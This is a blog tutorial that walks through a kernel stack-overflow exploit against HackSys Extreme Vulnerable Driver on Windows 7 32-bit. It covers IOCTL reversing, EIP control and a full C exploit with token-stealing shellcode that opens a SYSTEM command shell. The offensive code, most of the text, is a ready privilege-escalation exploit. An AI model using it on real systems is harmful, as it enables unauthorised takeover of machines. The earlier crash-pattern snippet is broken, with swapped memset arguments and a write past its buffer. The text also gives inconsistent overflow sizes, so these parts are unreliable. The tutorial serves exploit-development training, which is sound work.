Hi all!

Exploiting drivers offers tons of possibilities we couldn’t find in userland so it’s important to learn kernel internals because it will become more important for Windows security.

Kernel exploitation is a very complex subject, and the more I learn about it the more I realize I must do basic things first. And that’s what I will explain today, a basic stack buffer overflow in a driver of Windows 7 32-bit. The chosen driver is the famous HEVD (HackSys Extreme Vulnerable Driver), a Windows Kernel driver with vulnerabilites. This vulnerable driver is the main reference to learn Kernel exploitation so if you are interested you can find it here. Special thanks to them!

Doing one of the basic exploits in kernel will brings us a lot of knowledge about internals of Windows and drivers.

If you want to set up the kernel debugging environment I suggest this article from abatchy or hasherezade’s one.

Some internals notes

First of all, we need to understand how to communicate with the driver, so let’s talk a bit about kernel I/O. The main function to call a driver is DeviceIoControl let’s see a little description about DeviceIOControl:

The DeviceIoControl function provides a device input and output control (IOCTL) interface through which an application can communicate directly with a device driver. The DeviceIoControl function is a general-purpose interface that can send control codes to a variety of devices. Each control code represents an operation for the driver to perform. For example, a control code can ask a device driver to return information about the corresponding device, or direct the driver to carry out an action on the device, such as formatting a disk.

To reach a specific part of code of the driver you can especify by inserting a code, this code is also known as an IOCTL code:

IO Control Codes (IOCTLs) are our primary search target as they include numerous important details we need to know. They are represented as DWORDs but each of the 32 bits represent a detail about the request: Transfer Type - Defines the way that data will be passed to the driver. These can either be METHOD_BUFFERED, METHOD_IN_DIRECT, METHOD_OUT_DIRECT, or METHOD_NEITHER. Function Code - The internal function to be executed by the driver. These are supposed to start at 0x800 but you will see many starting at 0x0 in practice. Device Type - The type of the driver’s device object specified during IoCreateDevice(). There are many device types defined in Wdm.h and Ntddk.h, but one of the most common to see for software drivers is FILE_DEVICE_UNKNOWN (0x22).

Reversing the driver

All Windows drivers must have a DriverEntry routine so Windows can load it. We will use WingDBG Preview to see it:

TEXTO HOVER

From DriverEntry we look with IDA for IrpDeviceIoCtlHandler, this function processes IOCTL requests done from userland to the HEVD driver, that means, depending the code you use here you can reach the function you want.

TEXTO HOVER

We want to reach TriggerStackOverflow function, and therefore we need to send a DeviceIoControl() request with a code set to 0x222003 as seen in its code.

TEXTO HOVER

Inside TriggerStackOverflow we see the length of the KernelBuffer, 0x800h (2048 bytes) where our data is copied. As we will see later, this buffer is not checking size so anything longer that 2048 bytes will crash the driver and the kernel.

TEXTO HOVER

Building the exploit

We build make our exploit in C language. Why C? because C is the Kernel language so for the sake of symmetry C is the chosen one :)

To select the specific driver we want is necessary to get its handler, and we can do that with the CreateFileA from kernel32.dll, a function that allows for handler distribution from kernel-mode.

HANDLE driverHandle;


    printf("[*]Opening handle to \\\\.\\HackSysExtremeVulnerableDriver\n");

    /*
        HANDLE WINAPI CreateFile(
          _In_     LPCTSTR               lpFileName,
          _In_     DWORD                 dwDesiredAccess,
          _In_     DWORD                 dwShareMode,
          _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
          _In_     DWORD                 dwCreationDisposition,
          _In_     DWORD                 dwFlagsAndAttributes,
          _In_opt_ HANDLE                hTemplateFile
        );
    */
    driverHandle = CreateFileA(
        DRIVER_PATH,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL
    );

After getting the handle of the driver we need to communicate with him by his I/O function, DevideIoControl. Now we can use the handle to call DeviceIoControl and get a crash by sending a large buffer.

    /*
        BOOL WINAPI DeviceIoControl(
          _In_        HANDLE       hDevice,
          _In_        DWORD        dwIoControlCode,
          _In_opt_    LPVOID       lpInBuffer,
          _In_        DWORD        nInBufferSize,
          _Out_opt_   LPVOID       lpOutBuffer,
          _In_        DWORD        nOutBufferSize,
          _Out_opt_   LPDWORD      lpBytesReturned,
          _Inout_opt_ LPOVERLAPPED lpOverlapped
        );
    */


    BOOL bof = DeviceIoControl(
        driverHandle,                       /* handler for open driver */
        STACK_IOCTL,                        /* IOCTL for the stack overflow */
        lpInBuffer,                          /* our user buffer with retAddr */
        RET_OFFSET + sizeof(DWORD),          /* want up to the offset + 4 (for the retAddr) sent */
        NULL,                               /* no buffer for the driver to write back to */
        0,                                  /* above buffer of size 0 */
        NULL,                               /* dump variable for byte returned */
        NULL);                              /* ignore overlap */

We must stop here to look closer this function because is the most important part of the exploit. A user-supplied buffer is being copied to a kernel buffer without boundary check, resulting in a stack smashing vulnerability if the buffer is longer than 2048 bytes.

You can see the vulnerable source code in this line

As you can see there are three critical parameters:

  • driverHandle: this will get the handle returned from CreateFileA.
  • STACK IOCTL: the I/O code which leads us to the vulnerable function that will trigger the stack overflow.
  • lpInBuffer: user buffer with retAddr
  • RET_OFFSET + sizeof(DWORD): to trigger the vulnerability we need our buffer longer than 2080

So the first exploit to get the EIP control is to use a buffer with a pattern (pattern.rb is your friend). We discover the EIP is overwritten at 2080 byte. Let’s put some B’s in the EIP to be sure:

1
2
3
4
5
    char shellcode[4096];

    memset('A', shellcode, 2080);
    memset('B', &shellcode[2080], 2084);
    memset('C', &shellcode[4164], 3000);

TEXTO HOVER

Exploit launched and we can find eip register full of ‘0x42’ followed with lots of ‘0x43’.

Now that we have control over the EIP our objective is to elevate privileges to NT AUTHORITY\SYSTEM and the chosen way will be “Token Steal Privilege” also known as “Access Token Manipulation”, more information about it here.

In Windows all proccesses has an access token that specifies its security context. So we want our shellcode to steal the token from an elevated proccess and copy it into ours (spoiler, will be a shell).

Let’s see the payload HackSys suggests. For a huge and very detailed analysis of the shellcode I recommend Connor McGarr article. Props to him for explaining lots of Windows Internals and WinDBG commands.

As a resumee these are the offsets we need to get to our exploit:

1
2
3
4
_KTHREAD offset = 0x124 (from _KPCR)
_EPROCESS offset = 0x50 (from _KTHREAD)
ActiveProcessLink offset = 0x0b8 (from _EPROCESS)
Token offset = 0x0f8 (from EPROCESS)

So the shellcode is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    char shellcode [] =
            "\x60"                        // pushad
        "\x31\xc0"                        // xor eax,eax
        "\x64\xa1\x24\x01\x00\x00"        // mov eax,[fs:eax+0x124]
        "\x8b\x40\x50"                    // mov eax,[eax+0x50]
        "\x89\xc1"                        // mov ecx,eax
        "\xba\x04\x00\x00\x00"            // mov edx,0x4
        "\x8b\x80\xb8\x00\x00\x00"        // mov eax,[eax+0xb8]
        "\x2d\xb8\x00\x00\x00"            // sub eax,0xb8
        "\x39\x90\xb4\x00\x00\x00"        // cmp [eax+0xb4],edx
        "\x75\xed"                        // jne 0x1a
        "\x8b\x90\xf8\x00\x00\x00"        // mov edx,[eax+0xf8]
        "\x89\x91\xf8\x00\x00\x00"        // mov [ecx+0xf8],edx
        "\x61"                            // popad
        "\x31\xc0"                        // xor eax,eax
        "\x5d"                            // pop ebp
        "\xc2\x08\x00";                   // ret 0x8

To evade DEP we will create a memory region RWX permissions with VirtualAlloc() and we will put our shellcode there:

1
2
3
4
5
6
7
8
9
10
11
12
    LPVOID userBuffer = VirtualAlloc(0,
                                  sizeof(shellcode),
                                  MEM_COMMIT | MEM_RESERVE,
                                  PAGE_EXECUTE_READWRITE);
    if (!userBuffer) {
        printf("Error allocating the user buffer\n");
        exit(1);
    }

    printf("[*] userBuffer @ %p\n", userBuffer);

    memcpy(userBuffer, shellcode, sizeof(shellcode));

Launching the exploit

So our final exploit looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>


#define SHELLCODE_LEN   57
#define RET_OFFSET      2080
#define DRIVER_PATH     "\\\\.\\HackSysExtremeVulnerableDriver"
#define STACK_IOCTL     0x222003

void exploit(void) {

    typedef void* HANDLE;
    HANDLE driverHandle;


    printf("[*] Opening handle to \\\\.\\HackSysExtremeVulnerableDriver\n");

    /*
        HANDLE WINAPI CreateFile(
          _In_     LPCTSTR               lpFileName,
          _In_     DWORD                 dwDesiredAccess,
          _In_     DWORD                 dwShareMode,
          _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
          _In_     DWORD                 dwCreationDisposition,
          _In_     DWORD                 dwFlagsAndAttributes,
          _In_opt_ HANDLE                hTemplateFile
        );
    */
    driverHandle = CreateFileA(
        DRIVER_PATH,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL
    );

    if (driverHandle == INVALID_HANDLE_VALUE) {
        printf("[!] FATAL: Could not open HEVD handle\n");
        return;
    }


    char shellcode [] =
        "\x60"                            // pushad
        "\x31\xc0"                        // xor eax,eax
        "\x64\xa1\x24\x01\x00\x00"        // mov eax,[fs:eax+0x124]
        "\x8b\x40\x50"                    // mov eax,[eax+0x50]
        "\x89\xc1"                        // mov ecx,eax
        "\xba\x04\x00\x00\x00"            // mov edx,0x4
        "\x8b\x80\xb8\x00\x00\x00"        // mov eax,[eax+0xb8]
        "\x2d\xb8\x00\x00\x00"            // sub eax,0xb8
        "\x39\x90\xb4\x00\x00\x00"        // cmp [eax+0xb4],edx
        "\x75\xed"                        // jnz 0x1a
        "\x8b\x90\xf8\x00\x00\x00"        // mov edx,[eax+0xf8]
        "\x89\x91\xf8\x00\x00\x00"        // mov [ecx+0xf8],edx
        "\x61"                            // popad
        "\x31\xc0"                        // xor eax,eax
        "\x5d"                            // pop ebp
        "\xc2\x08\x00";                   // ret 0x8

    /*
    LPVOID WINAPI VirtualAlloc(
      _In_opt_ LPVOID lpAddress,
      _In_     SIZE_T dwSize,
      _In_     DWORD  flAllocationType,
      _In_     DWORD  flProtect
    );
    */
    LPVOID userBuffer = VirtualAlloc(0,
                                  sizeof(shellcode),
                                  MEM_COMMIT | MEM_RESERVE,
                                  PAGE_EXECUTE_READWRITE);
    if (!userBuffer) {
        printf("Error allocating the user buffer\n");
        exit(1);
    }

    printf("[*] userBuffer @ %p\n", userBuffer);

    memcpy(userBuffer, shellcode, sizeof(shellcode));

    LPVOID payload_ptr = NULL;
    payload_ptr = userBuffer;


    const size_t bufSize = RET_OFFSET + sizeof(DWORD);
    char* lpInBuffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);

    RtlFillMemory(lpInBuffer, bufSize, 0x41);

    DWORD* address_field = (DWORD*)(lpInBuffer + RET_OFFSET);
    *address_field = (DWORD)(payload_ptr);

    /*
        BOOL WINAPI DeviceIoControl(
          _In_        HANDLE       hDevice,
          _In_        DWORD        dwIoControlCode,
          _In_opt_    LPVOID       lpInBuffer,
          _In_        DWORD        nInBufferSize,
          _Out_opt_   LPVOID       lpOutBuffer,
          _In_        DWORD        nOutBufferSize,
          _Out_opt_   LPDWORD      lpBytesReturned,
          _Inout_opt_ LPOVERLAPPED lpOverlapped
        );
    */

    DWORD size_returned = 0;
    BOOL bof = DeviceIoControl(
        driverHandle,                       /* handler for open driver */
        STACK_IOCTL,                        /* IOCTL for the stack overflow */
        lpInBuffer,                         /* our user buffer with shellcode/address_field */
        RET_OFFSET + sizeof(DWORD),         /* want up to the offset + 4 (for the address_field) sent */
        NULL,                               /* no buffer for the driver to write back to */
        0,                                  /* above buffer of size 0 */
        &size_returned,                     /* dump variable for byte returned */
        NULL);                              /* ignore overlap */

/* check if the device IO sent fine! */
    if (!bof) {
        printf("[!] Error with DeviceIoControl\n");
        exit(1);
    }
    else {
        printf("[*] Elevated Shell!\n\n\n");
    }

    VirtualFree(userBuffer, sizeof(shellcode), MEM_RELEASE);
        userBuffer = NULL;


}

int main()
{
    printf("[*] Launching Exploit...\n");
    exploit();

    /* pop a shell with new privileges! */
    system("cmd.exe");
    system("pause");


    return 0;
}

Exploit launched and driver exploited!

TEXTO HOVER

Conclusions

I hope you learned lots about Windows internals, drivers composition and a new technique for elevating privileges like me!

Exploiting in Kernel can be daunting, and WinDBG may not be the best debugger, but with patient and reading a lot, everything is possible :)

Special thanks to all these people that were my references for this post:

HacksysHackSysTeam (https://github.com/hacksysteam)

Connor McGarr (https://connormcgarr.github.io/)

Rootkit (https://rootkits.xyz/)

Hasherezade (https://hshrzd.wordpress.com/)

Blah Cats (https://blahcat.github.io/)

Thanks and don’t lose yourself in the kernel!